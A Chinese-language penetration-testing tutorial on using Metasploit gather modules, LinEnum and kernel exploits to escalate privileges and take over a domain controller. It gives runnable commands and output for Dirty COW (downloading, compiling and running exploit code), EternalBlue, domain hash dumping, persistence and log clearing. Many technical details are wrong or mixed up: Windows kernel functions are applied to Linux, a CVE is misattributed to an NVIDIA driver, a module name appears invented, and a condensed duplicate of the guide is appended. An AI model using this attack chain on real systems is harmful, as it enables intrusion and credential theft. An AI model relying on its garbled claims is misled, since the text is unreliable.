目录
[🛠️ 1. 内核安全如何助力渗透测试与黑客行业](#🛠️ 1. 内核安全如何助力渗透测试与黑客行业)
[1.1 内核安全的战略价值](#1.1 内核安全的战略价值)
[1.2 结合 Metasploit 与 LinEnum 的作用](#1.2 结合 Metasploit 与 LinEnum 的作用)
[🔍 2. Metasploit 信息收集模块及其在内核安全中的应用](#🔍 2. Metasploit 信息收集模块及其在内核安全中的应用)
[2.1 Windows 信息收集模块](#2.1 Windows 信息收集模块)
[2.2 Linux 信息收集模块](#2.2 Linux 信息收集模块)
[2.3 使用步骤](#2.3 使用步骤)
[Windows 模块使用步骤](#Windows 模块使用步骤)
[Linux 模块使用步骤](#Linux 模块使用步骤)
[⚙️ 3. 实际案例:信息收集与内核提权](#⚙️ 3. 实际案例:信息收集与内核提权)
[3.1 Windows 案例:枚举应用程序与内核漏洞提权](#3.1 Windows 案例:枚举应用程序与内核漏洞提权)
[3.2 Linux 案例:枚举网络信息与 Dirty COW 提权](#3.2 Linux 案例:枚举网络信息与 Dirty COW 提权)
[📊 4. Metasploit 信息收集模块能收集的信息类型](#📊 4. Metasploit 信息收集模块能收集的信息类型)
[🌐 5. 使用 Metasploit 信息收集模块的场景](#🌐 5. 使用 Metasploit 信息收集模块的场景)
[🧠 6. 高级渗透内网工程师的思路](#🧠 6. 高级渗透内网工程师的思路)
[🛡️ 7. 全面逻辑步骤与内网渗透案例](#🛡️ 7. 全面逻辑步骤与内网渗透案例)
[7.1 案例背景](#7.1 案例背景)
[7.2 逻辑步骤与技术细节](#7.2 逻辑步骤与技术细节)
[7.3 结果](#7.3 结果)
[📜 8. LinEnum 脚本详解](#📜 8. LinEnum 脚本详解)
[8.1 LinEnum 简介](#8.1 LinEnum 简介)
[8.2 使用方式](#8.2 使用方式)
[8.3 收集的信息类型](#8.3 收集的信息类型)
[8.4 实际案例](#8.4 实际案例)
[🌟 9. 内核安全与 Metasploit/LinEnum 的协同优势](#🌟 9. 内核安全与 Metasploit/LinEnum 的协同优势)
[9.1 内核安全的核心作用](#9.1 内核安全的核心作用)
[9.2 Metasploit 与 LinEnum 的辅助作用](#9.2 Metasploit 与 LinEnum 的辅助作用)
[📚 10. 学习建议与资源](#📚 10. 学习建议与资源)
[10.1 学习路径](#10.1 学习路径)
[🛠️ 1. 内核安全在渗透测试中的战略价值](#🛠️ 1. 内核安全在渗透测试中的战略价值)
[1.1 提升漏洞利用精度](#1.1 提升漏洞利用精度)
[1.2 绕过防御机制](#1.2 绕过防御机制)
[1.3 持久化与隐藏](#1.3 持久化与隐藏)
[🔍 2. Metasploit 信息收集模块](#🔍 2. Metasploit 信息收集模块)
[2.1 Windows 模块](#2.1 Windows 模块)
[2.2 Linux 模块](#2.2 Linux 模块)
[⚙️ 3. 实际案例:信息收集与提权](#⚙️ 3. 实际案例:信息收集与提权)
[3.1 Windows 提权](#3.1 Windows 提权)
[3.2 Linux 提权](#3.2 Linux 提权)
[📊 4. 收集的信息类型](#📊 4. 收集的信息类型)
[🌐 5. 使用场景](#🌐 5. 使用场景)
[🧠 6. 高级渗透工程师思路](#🧠 6. 高级渗透工程师思路)
[🛡️ 7. 内网渗透案例](#🛡️ 7. 内网渗透案例)
[7.1 步骤](#7.1 步骤)
[7.2 结果](#7.2 结果)
[📜 8. LinEnum 脚本详解](#📜 8. LinEnum 脚本详解)

🛠️ 1. 内核安全如何助力渗透测试与黑客行业
1.1 内核安全的战略价值
内核安全知识赋予渗透测试人员深入系统底层的能力,从用户态(Ring 3)突破到内核态(Ring 0),实现最高权限控制。结合 Metasploit 的后渗透模块(如 enum_applications
、enum_network
)和 LinEnum 脚本,内核安全知识可以:
-
提升漏洞利用精度 :通过理解内核数据结构(如
EPROCESS
、Token
)和内存布局,开发针对性的提权 Exploit。 -
绕过防御机制:掌握 KASLR、SMEP、SMAP 等防御技术,设计绕过方案。
-
增强持久化与隐蔽性:利用内核级技术(如 Rootkit、DKOM)实现持久化后门,躲避 EDR 和 AV 检测。
1.2 结合 Metasploit 与 LinEnum 的作用
-
Metasploit 后渗透模块:提供自动化信息收集,快速获取系统配置、用户凭证、网络信息等,为内核级攻击提供情报支持。
-
LinEnum 脚本:在 Linux 环境中枚举系统配置(如 SUID 文件、cron 任务),发现潜在的内核提权路径。
-
内核安全知识 :结合内核函数(如
PsCreateSystemThread
)和漏洞(如 UAF),实现从信息收集到提权的完整攻击链。
🔍 2. Metasploit 信息收集模块及其在内核安全中的应用
2.1 Windows 信息收集模块
以下是常用的 Windows 后渗透模块,位于 post/windows/gather/
和 post/windows/gather/forensics/
目录下,结合内核安全的技术细节:
|-----------------------------------------|--------------------------------------------|--------------------------------------------------------|
| 模块名称 | 功能描述 | 内核安全相关性 |
| post/windows/gather/enum_applications
| 枚举目标系统安装的应用程序及其版本(如 7-Zip、Docker Desktop)。 | 识别潜在的内核驱动漏洞(如第三方驱动的 IOCTL 漏洞)或易受攻击的软件版本。 |
| post/windows/gather/enum_patches
| 枚举系统已安装的补丁(如 KB2871997)。 | 检测缺失的内核补丁(如 MS17-010),为内核漏洞利用(如 EternalBlue)提供依据。 |
| post/windows/gather/enum_chrome
| 提取 Chrome 浏览器的凭证、历史记录、书签等。 | 可结合内核级内存操作(如 MmMapIoSpace
)直接读取用户态内存中的敏感数据。 |
| post/windows/gather/enum_users
| 枚举系统用户账户和权限。 | 定位高权限用户(如 Administrator),为后续内核提权(如修改 Token)做准备。 |
| post/windows/gather/credentials/*
| 收集系统凭证(如 SAM 文件、LSASS 内存中的密码哈希)。 | 可通过内核函数(如 ObReferenceObjectByHandle
)直接操作 LSASS 进程内存。 |
技术细节:
-
内核角度 :
enum_applications
可能发现第三方驱动(如 NVIDIA 驱动),这些驱动常包含未签名的 IOCTL 接口,易被攻击者利用(如 CVE-2021-31956)。 -
提权路径 :通过
enum_patches
识别缺失的内核补丁,结合内核漏洞(如 CVE-2020-0796 SMBGhost)实现提权。
2.2 Linux 信息收集模块
以下是常用的 Linux 后渗透模块,位于 post/linux/gather/
目录下:
|--------------------------------------|-------------------------------------------|---------------------------------------------------------|
| 模块名称 | 功能描述 | 内核安全相关性 |
| post/linux/gather/enum_configs
| 收集常见应用配置(如 Apache、MySQL、Samba)。 | 识别配置错误(如 MySQL 运行在 root 权限下),为内核提权(如 UAF 漏洞)提供线索。 |
| post/linux/gather/enum_network
| 收集网络信息(路由表、防火墙规则、DNS 配置、SSH 配置等)。 | 发现网络服务(如 SSH)运行的内核模块,结合内核漏洞(如 CVE-2016-5195 Dirty COW)。 |
| post/linux/gather/enum_system
| 枚举系统信息(安装包、服务、用户列表、cron 任务等)。 | 定位 SUID 文件或 cron 任务,结合内核漏洞(如 CVE-2017-1000112)实现提权。 |
| post/linux/gather/enum_protections
| 检查系统防护机制(如 SELinux、SMEP、SMAP、grsecurity)。 | 评估内核防护强度,设计绕过 KASLR 或 SMEP 的 Exploit(如 ROP 链)。 |
| post/linux/gather/ecryptfs_creds
| 收集用户 .ecryptfs
目录中的加密凭证。 | 可结合内核内存操作(如 MmAllocateContiguousMemory
)直接访问加密文件。 |
技术细节:
-
内核角度 :
enum_protections
识别是否启用 SMEP/SMAP,攻击者可通过内核漏洞(如 CVE-2019-2215)绕过这些保护。 -
提权路径 :
enum_system
发现 SUID 文件或 cron 任务,结合内核漏洞(如 Dirty COW)修改文件权限实现提权。
2.3 使用步骤
Windows 模块使用步骤
-
启动 Metasploit:
msfconsole
-
选择模块:
use post/windows/gather/enum_applications
-
查看会话:
sessions -l
输出示例:
Id Name Type Information -- ---- ---- ----------- 1 meterpreter x64/windows DESKTOP-N3MAG5R\basic_user
-
设置会话:
set SESSION 1
-
运行模块:
run
输出示例:
[*] Enumerating applications installed on DESKTOP-N3MAG5R Installed Applications ====================== Name Version ---- ------- 7-Zip 21.07 (x64) Docker Desktop 2.2.0.4
-
查看收集的数据:
loot
输出示例:
Loot ==== host lpath type ---- ----- ---- 192.168.123.151 /Users/user/.msf4/loot/.../apps.txt applications
Linux 模块使用步骤
-
启动 Metasploit:
msfconsole
-
选择模块:
use post/linux/gather/enum_network
-
查看选项:
show options
输出示例:
Module options (post/linux/gather/enum_network): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on
-
设置会话:
set SESSION 2
-
运行模块:
run
输出示例:
[*] Gathering network information... [+] IPTables rules: /etc/iptables/rules.v4 [+] Interfaces: eth0 (192.168.1.100) [+] SSH config: /etc/ssh/sshd_config
-
查看收集的数据:
loot
技术细节:
-
内核安全角度 :模块运行时可能调用内核函数(如
IoCreateDevice
)与驱动交互,攻击者可利用驱动漏洞(如 IOCTL 处理不当)提权。 -
注意事项:确保目标系统已成功渗透并获得 Meterpreter 会话,否则模块无法运行。
⚙️ 3. 实际案例:信息收集与内核提权
3.1 Windows 案例:枚举应用程序与内核漏洞提权
场景:渗透测试人员通过钓鱼邮件获得 Windows 10 工作站(IP: 192.168.1.100)的 Meterpreter 会话,目标是提权到 SYSTEM。
-
枚举应用程序:
use post/windows/gather/enum_applications set SESSION 1 run
输出示例:
Installed Applications ====================== Name Version ---- ------- NVIDIA Driver 456.71
发现:NVIDIA 驱动版本存在已知漏洞(如 CVE-2021-31956,IOCTL 漏洞)。
-
利用内核漏洞提权:
-
使用公开的 Exploit(如 Exploit-DB 的 PoC):
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
-
内核技术细节 :该漏洞利用 NVIDIA 驱动的 IOCTL 处理不当,通过
MmMapIoSpace
映射内核内存,修改EPROCESS.Token
实现提权。
-
-
结果:获得 SYSTEM 权限,输出:
[*] Privilege escalation successful meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
3.2 Linux 案例:枚举网络信息与 Dirty COW 提权
场景 :渗透测试人员通过 SSH 弱密码(root:toor
)获得 Linux 服务器(IP: 192.168.1.200)的 Meterpreter 会话,目标是提权到 root。
-
枚举网络信息:
use post/linux/gather/enum_network set SESSION 2 run
输出示例:
[+] Interfaces: eth0 (192.168.1.200) [+] SSH config: /etc/ssh/sshd_config
发现:服务器运行 Ubuntu 16.04,易受 Dirty COW 漏洞(CVE-2016-5195)影响。
-
利用内核漏洞提权:
-
使用 Metasploit 模块:
use exploit/linux/local/dirtycow set SESSION 2 run
-
内核技术细节 :Dirty COW 利用内核的写时复制(COW)机制,通过修改
/etc/passwd
的只读映射,添加 root 用户。
-
-
结果:获得 root 权限,输出:
[*] Privilege escalation successful meterpreter > getuid Server username: root
技术细节:
-
Windows 案例 :利用内核函数(如
ObReferenceObjectByHandle
)操作句柄表,结合 IOCTL 漏洞修改权限。 -
Linux 案例 :利用内核内存管理漏洞(如 COW 机制),结合
enum_network
发现的配置信息,优化攻击路径。
📊 4. Metasploit 信息收集模块能收集的信息类型
以下是 Windows 和 Linux 后渗透模块能收集的全面信息类型,结合内核安全角度:
|------------|-------------------------------|---------------------------------|-------------------------------------------------|
| 信息类型 | Windows 模块示例 | Linux 模块示例 | 内核安全相关性 |
| 应用程序信息 | enum_applications
: 安装的软件及版本 | enum_system
: 安装的包 | 识别易受攻击的内核驱动或服务(如旧版驱动的 IOCTL 漏洞)。 |
| 系统补丁 | enum_patches
: 已安装的 KB 补丁 | enum_protections
: 内核防护机制 | 检测缺失的内核补丁或防护(如 KASLR、SMEP),为漏洞利用提供依据。 |
| 用户凭证 | enum_chrome
: 浏览器凭证 | ecryptfs_creds
: 加密文件凭证 | 可通过内核内存操作(如 MmMapIoSpace
)直接读取凭证数据。 |
| 网络配置 | enum_shares
: SMB 共享信息 | enum_network
: 路由表、防火墙规则 | 发现网络服务(如 SMB、SSH)运行的内核模块,结合漏洞(如 EternalBlue)提权。 |
| 系统配置 | enum_configs
: 系统配置文件 | enum_configs
: Apache、MySQL 配置 | 识别配置错误(如 root 权限服务),为内核提权(如 UAF 漏洞)提供线索。 |
| 用户权限 | enum_users
: 用户账户及权限 | enum_system
: 用户列表、SUID 文件 | 定位高权限用户或 SUID 文件,结合内核漏洞(如 Dirty COW)提权。 |
| 服务与进程 | enum_services
: 运行的服务 | enum_system
: 运行的服务、cron 任务 | 发现运行在内核态的服务(如 SSH 内核模块),为 Hook 或漏洞利用提供目标。 |
技术细节:
-
内核角度 :信息收集模块可能触发内核函数(如
PsLookupProcessByProcessId
)枚举进程,攻击者可利用内核漏洞(如 UAF)篡改进程结构。 -
提权路径:收集的信息(如 SUID 文件、缺失补丁)为内核漏洞利用(如 CVE-2017-1000112)提供精准目标。
🌐 5. 使用 Metasploit 信息收集模块的场景
以下是结合内核安全知识的典型使用场景:
-
漏洞评估:
-
使用
enum_patches
(Windows)或enum_protections
(Linux)识别缺失的内核补丁或防护机制,为后续漏洞利用(如 EternalBlue、Dirty COW)提供依据。 -
内核角度:分析补丁状态,结合 KASLR 绕过技术(如泄漏内核基址)开发 Exploit。
-
-
提权攻击:
-
通过
enum_applications
(Windows)或enum_system
(Linux)发现易受攻击的驱动或 SUID 文件,结合内核漏洞(如 IOCTL 或 COW 漏洞)提权。 -
内核角度 :利用内核函数(如
MmAllocateContiguousMemory
)分配内存,构造提权 Payload。
-
-
内网横向移动:
-
使用
enum_network
收集路由表、DNS 配置,结合内核级网络 Hook(如KeSetInterruptHandler
)拦截流量,实现 pivoting。 -
案例 :利用
enum_shares
发现 SMB 共享,结合 EternalBlue 漏洞(CVE-2017-0144)攻击内网其他主机。
-
-
凭证窃取:
-
使用
enum_chrome
(Windows)或ecryptfs_creds
(Linux)收集凭证,结合内核内存操作(如MmMapIoSpace
)直接读取敏感数据。 -
内核角度:通过内核漏洞(如 CVE-2020-0796)访问 LSASS 内存,提取域凭证。
-
-
持久化与隐藏:
-
使用
enum_system
(Linux)发现 cron 任务,结合内核级 Rootkit(如 DKOM)实现持久化。 -
内核角度:通过 SSDT Hook 修改系统调用,隐藏恶意进程或文件。
-
🧠 6. 高级渗透内网工程师的思路
高级内网渗透工程师将内核安全知识与 Metasploit 模块、LinEnum 脚本结合,形成系统化的攻击思路:
-
信息收集为基石:
-
Metasploit :使用
enum_applications
、enum_network
等模块快速收集系统和网络信息,定位潜在的内核漏洞目标(如旧版驱动、SUID 文件)。 -
LinEnum:枚举 Linux 系统配置,重点关注内核版本、SUID 文件、cron 任务,为内核提权提供线索。
-
内核角度:分析 PE 结构(如驱动的导出表)或内存布局(如内核池分配),定位漏洞点。
-
-
漏洞利用与提权:
-
结合收集的信息,优先选择内核漏洞(如 IOCTL、UAF、Dirty COW)实现提权。
-
内核技术 :利用
MmMapIoSpace
映射内核内存,或通过 ROP 链绕过 SMEP/SMAP。
-
-
横向移动与 pivoting:
-
使用
enum_network
收集内网信息,结合内核级网络 Hook 或 EternalBlue 漏洞攻击其他主机。 -
内核角度 :通过中断机制(如
KeSetInterruptHandler
)拦截网络流量,实现隐蔽的 pivoting。
-
-
持久化与隐藏:
-
利用内核级 Rootkit(如 DKOM、SSDT Hook)隐藏进程或文件,绕过 EDR 检测。
-
Metasploit :使用
post/windows/manage/persistence
或post/linux/manage/sshkey_persistence
实现持久化。
-
-
清理痕迹:
- 使用 Metasploit 的清理模块(如
clearev
)删除事件日志,结合内核级操作(如修改日志文件)确保隐蔽性。
- 使用 Metasploit 的清理模块(如
技术细节:
-
内核安全核心 :理解 Ring 0/3 权限模型,熟练操作内核数据结构(如
EPROCESS
、KTHREAD
),结合 Metasploit 模块自动化攻击流程。 -
高级技巧:通过逆向分析(IDA Pro、Ghidra)定位内核函数入口,开发自定义 Exploit 绕过 PatchGuard 或 SELinux。
🛡️ 7. 全面逻辑步骤与内网渗透案例
7.1 案例背景
通过钓鱼邮件控制了一台 Windows 工作站(IP: 192.168.1.100),目标是渗透内网并控制域控制器(IP: 192.168.1.10)。
7.2 逻辑步骤与技术细节
-
初始立足点与信息收集:
-
Metasploit 模块:
use post/windows/gather/enum_applications set SESSION 1 run
发现:工作站安装了旧版 NVIDIA 驱动(CVE-2021-31956 漏洞)。
-
LinEnum(若目标为 Linux):
scp LinEnum.sh user@192.168.1.100:/tmp/ ssh user@192.168.1.100 chmod +x /tmp/LinEnum.sh ./LinEnum.sh
发现:Linux 系统运行 Ubuntu 16.04,存在 Dirty COW 漏洞。
-
内核角度 :分析 PE 结构,定位驱动的 IOCTL 接口,或检查内核版本(
uname -r
)确认漏洞。
-
-
提权到 SYSTEM/root:
-
Windows:
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
技术细节 :利用 IOCTL 漏洞,通过
MmMapIoSpace
修改EPROCESS.Token
,提升到 SYSTEM 权限。 -
Linux:
use exploit/linux/local/dirtycow set SESSION 2 run
技术细节 :利用 COW 机制修改
/etc/passwd
,添加 root 用户。 -
结果:获得 SYSTEM/root 权限。
-
-
内网信息收集:
-
Metasploit:
use post/windows/gather/enum_shares set SESSION 1 run
发现:域控制器(192.168.1.10)存在 SMB 共享,运行 Windows Server 2016。
-
内核角度 :使用
enum_patches
检查域控制器补丁状态,确认是否存在 EternalBlue 漏洞(CVE-2017-0144)。
-
-
横向移动:
-
Metasploit:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set LHOST 192.168.1.100 run
技术细节 :EternalBlue 利用 SMB 协议漏洞,通过内核函数(如
IoCompleteRequest
)执行远程代码。 -
结果:获得域控制器 Meterpreter 会话。
-
-
凭证窃取:
-
Metasploit:
use post/windows/gather/credentials/domain_hashdump set SESSION 3 run
技术细节 :通过内核级内存操作(如
MmMapIoSpace
)访问 LSASS 内存,提取域用户哈希。 -
结果:获取域管理员凭证。
-
-
持久化与清理:
-
Windows:
use post/windows/manage/persistence set SESSION 1 run
技术细节:通过内核级 Rootkit(如 DKOM)隐藏持久化进程。
-
Linux:
use post/linux/manage/sshkey_persistence set SESSION 2 run
技术细节 :通过修改
/root/.ssh/authorized_keys
,结合内核 Hook 隐藏 SSH 密钥。 -
清理:
clearev
技术细节 :通过内核函数(如
ObReferenceObjectByHandle
)修改事件日志,清除痕迹。
-
7.3 结果
-
成功控制域控制器(192.168.1.10)。
-
获取公司全部用户凭证(包括域管理员哈希)。
-
实现持久化后门,保持隐蔽性。
技术细节:
-
内核安全核心:利用内核漏洞(如 IOCTL、EternalBlue)实现提权和横向移动,结合 SSDT Hook 或 DKOM 隐藏攻击痕迹。
-
Metasploit 辅助:模块自动化收集信息,减少手动操作,提高效率。
-
LinEnum 补充:在 Linux 环境中快速发现提权路径。
📜 8. LinEnum 脚本详解
8.1 LinEnum 简介
LinEnum 是一个强大的 Linux 信息收集脚本,用于枚举系统配置、用户权限、cron 任务等,帮助渗透测试人员发现提权机会。它特别适合结合内核安全知识,定位内核漏洞或配置错误。
8.2 使用方式
-
下载脚本:
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
-
上传到目标系统:
scp LinEnum.sh user@192.168.1.200:/tmp/
-
执行脚本:
ssh user@192.168.1.200 cd /tmp chmod +x LinEnum.sh ./LinEnum.sh -t -r report
参数说明:
-
-t
:彻底扫描,收集所有信息。 -
-r report
:生成报告文件(如report-192.168.1.200.txt
)。
-
8.3 收集的信息类型
|-----------|---------------------------------------|-----------------------------------------------------|
| 信息类型 | 描述 | 内核安全相关性 |
| 系统信息 | 内核版本(如 4.4.0-21-generic
)、发行版、CPU 信息 | 识别内核版本,匹配已知漏洞(如 Dirty COW、CVE-2017-1000112)。 |
| 用户与权限 | 当前用户、SUID/SGID 文件、sudo 配置 | 发现 SUID 文件或 sudo 权限,结合内核漏洞(如 UAF)提权。 |
| 服务与进程 | 运行的服务(如 SSH、Apache)、进程列表 | 定位运行在内核态的服务(如 SSH 内核模块),结合漏洞(如 CVE-2016-5195)攻击。 |
| 计划任务 | cron 任务、at 任务 | 发现可写的 cron 脚本,结合内核漏洞修改文件权限。 |
| 文件系统 | 可写目录、敏感文件(如 /etc/passwd
) | 利用内核漏洞(如 Dirty COW)修改只读文件,实现提权。 |
| 网络配置 | 网络接口、路由表、开放端口 | 发现网络服务,结合内核级网络 Hook(如 KeSetInterruptHandler
)拦截流量。 |
| 安全机制 | SELinux、AppArmor、grsecurity 配置 | 评估防护强度,设计绕过方案(如 ROP 链绕过 SMEP)。 |
8.4 实际案例
场景:在 Linux 服务器(IP: 192.168.1.200)上运行 LinEnum,发现提权路径。
-
执行 LinEnum:
./LinEnum.sh -t
输出示例:
[+] Kernel information: Linux version 4.4.0-21-generic [+] SUID files: -rwsr-xr-x root root /usr/bin/passwd [+] Cron jobs: /etc/cron.daily/update.sh (writable)
-
发现与利用:
-
内核漏洞:内核版本 4.4.0-21 存在 Dirty COW 漏洞(CVE-2016-5195)。
-
SUID 文件 :
/usr/bin/passwd
可结合 Dirty COW 修改权限。 -
cron 任务 :可写脚本
/etc/cron.daily/update.sh
,可注入恶意代码。
-
-
提权:
-
使用 Dirty COW Exploit:
wget https://www.exploit-db.com/download/40839 gcc 40839.c -o dirtycow ./dirtycow
-
结果:获得 root 权限,输出:
whoami root
-
技术细节:
-
内核角度:LinEnum 发现的内核版本直接匹配漏洞数据库,结合内核内存管理漏洞(如 COW)实现提权。
-
Metasploit 补充 :使用
post/linux/gather/enum_system
验证 LinEnum 的结果,自动化收集 SUID 文件和 cron 任务。
🌟 9. 内核安全与 Metasploit/LinEnum 的协同优势
9.1 内核安全的核心作用
-
漏洞利用:内核安全知识帮助开发针对性 Exploit(如 IOCTL、UAF、Dirty COW),结合 Metasploit 模块自动化攻击。
-
绕过防御:通过逆向分析(IDA Pro、Ghidra)绕过 KASLR、SMEP、PatchGuard 等机制。
-
持久化与隐藏 :利用 DKOM、SSDT Hook 等内核技术,结合 Metasploit 的持久化模块(如
sshkey_persistence
)实现隐蔽后门。
9.2 Metasploit 与 LinEnum 的辅助作用
-
Metasploit:提供自动化信息收集和漏洞利用模块,减少手动操作,提高效率。
-
LinEnum:快速枚举 Linux 系统配置,补充 Metasploit 的不足,尤其在 SUID 文件和 cron 任务的发现上。
-
协同流程:
-
使用 Metasploit 模块(如
enum_network
)收集初始信息。 -
使用 LinEnum 深入枚举 Linux 系统配置。
-
结合内核安全知识,开发或利用现有 Exploit 实现提权。
-
📚 10. 学习建议与资源
10.1 学习路径
-
基础知识:
-
学习 C/C++、汇编(x86/x64),掌握 Windows/Linux 内核架构。
-
理解 Ring 0/3、PE 结构、中断机制、虚拟内存等技术栈。
-
-
工具与实践:
-
熟练使用 Metasploit(
post/*
模块)、WinDbg、IDA Pro、Ghidra。 -
搭建内核调试环境,复现公开漏洞(如 CVE-2021-31956、Dirty COW)。
-
-
CTF 与实战:
-
参与 HackTheBox、Pwnable 的内核提权挑战。
-
开发简单内核驱动,理解 IOCTL 和 IRP 的安全处理。
-
内网渗透测试与内核安全技术指南
🛠️ 1. 内核安全在渗透测试中的战略价值
内核安全知识赋予渗透测试人员从用户态(Ring 3)突破到内核态(Ring 0)的能力,结合 Metasploit 和 LinEnum,可实现高效的信息收集、提权和内网横向移动。
1.1 提升漏洞利用精度
-
技术细节 :通过分析
EPROCESS
、Token
等内核数据结构,开发针对性 Exploit。 -
案例 :利用 CVE-2021-31956(NVIDIA 驱动 IOCTL 漏洞),通过
MmMapIoSpace
修改权限。
1.2 绕过防御机制
-
技术细节:使用 ROP 链绕过 SMEP/SMAP,结合 KASLR 泄漏技术定位内核基址。
-
工具:IDA Pro、Ghidra 逆向分析内核模块。
1.3 持久化与隐藏
-
技术细节 :通过 DKOM 修改
EPROCESS
链表,隐藏恶意进程。 -
Metasploit 模块 :
post/windows/manage/persistence
、post/linux/manage/sshkey_persistence
。
🔍 2. Metasploit 信息收集模块
2.1 Windows 模块
-
post/windows/gather/enum_applications
:枚举应用程序,识别易受攻击的驱动。 -
post/windows/gather/enum_patches
:检查缺失补丁,定位内核漏洞。 -
使用示例:
use post/windows/gather/enum_applications set SESSION 1 run
2.2 Linux 模块
-
post/linux/gather/enum_network
:收集网络配置,定位内核模块。 -
post/linux/gather/enum_protections
:检查 SMEP/SMAP 等防护机制。 -
使用示例:
use post/linux/gather/enum_network set SESSION 2 run
⚙️ 3. 实际案例:信息收集与提权
3.1 Windows 提权
-
模块 :
enum_applications
发现 NVIDIA 驱动漏洞(CVE-2021-31956)。 -
Exploit:
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
3.2 Linux 提权
-
模块 :
enum_system
发现 SUID 文件,结合 Dirty COW(CVE-2016-5195)。 -
Exploit:
use exploit/linux/local/dirtycow set SESSION 2 run
📊 4. 收集的信息类型
-
应用程序:驱动版本、软件漏洞。
-
补丁状态:缺失的 KB 补丁或内核防护。
-
凭证:浏览器凭证、加密文件。
-
网络配置:路由表、防火墙规则。
🌐 5. 使用场景
-
漏洞评估:识别内核漏洞(如 EternalBlue)。
-
提权攻击:利用 IOCTL 或 COW 漏洞。
-
内网移动:通过 SMB 或 SSH pivoting。
🧠 6. 高级渗透工程师思路
-
信息收集:Metasploit + LinEnum 自动化枚举。
-
提权:结合内核漏洞(如 UAF、IOCTL)。
-
横向移动:利用 EternalBlue 或 SSH 隧道。
-
持久化:内核级 Rootkit + Metasploit 持久化模块。
🛡️ 7. 内网渗透案例
7.1 步骤
-
信息收集 :
enum_applications
、LinEnum.sh
。 -
提权:CVE-2021-31956(Windows)、Dirty COW(Linux)。
-
横向移动 :
ms17_010_eternalblue
。 -
凭证窃取 :
domain_hashdump
。
7.2 结果
-
控制域控制器,获取全部用户凭证。
-
实现持久化后门,清理痕迹。
📜 8. LinEnum 脚本详解
-
下载与执行:
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh scp LinEnum.sh user@192.168.1.200:/tmp/ chmod +x LinEnum.sh ./LinEnum.sh -t -r report
-
输出:内核版本、SUID 文件、cron 任务。
-
提权案例 :结合 Dirty COW 修改
/etc/passwd
。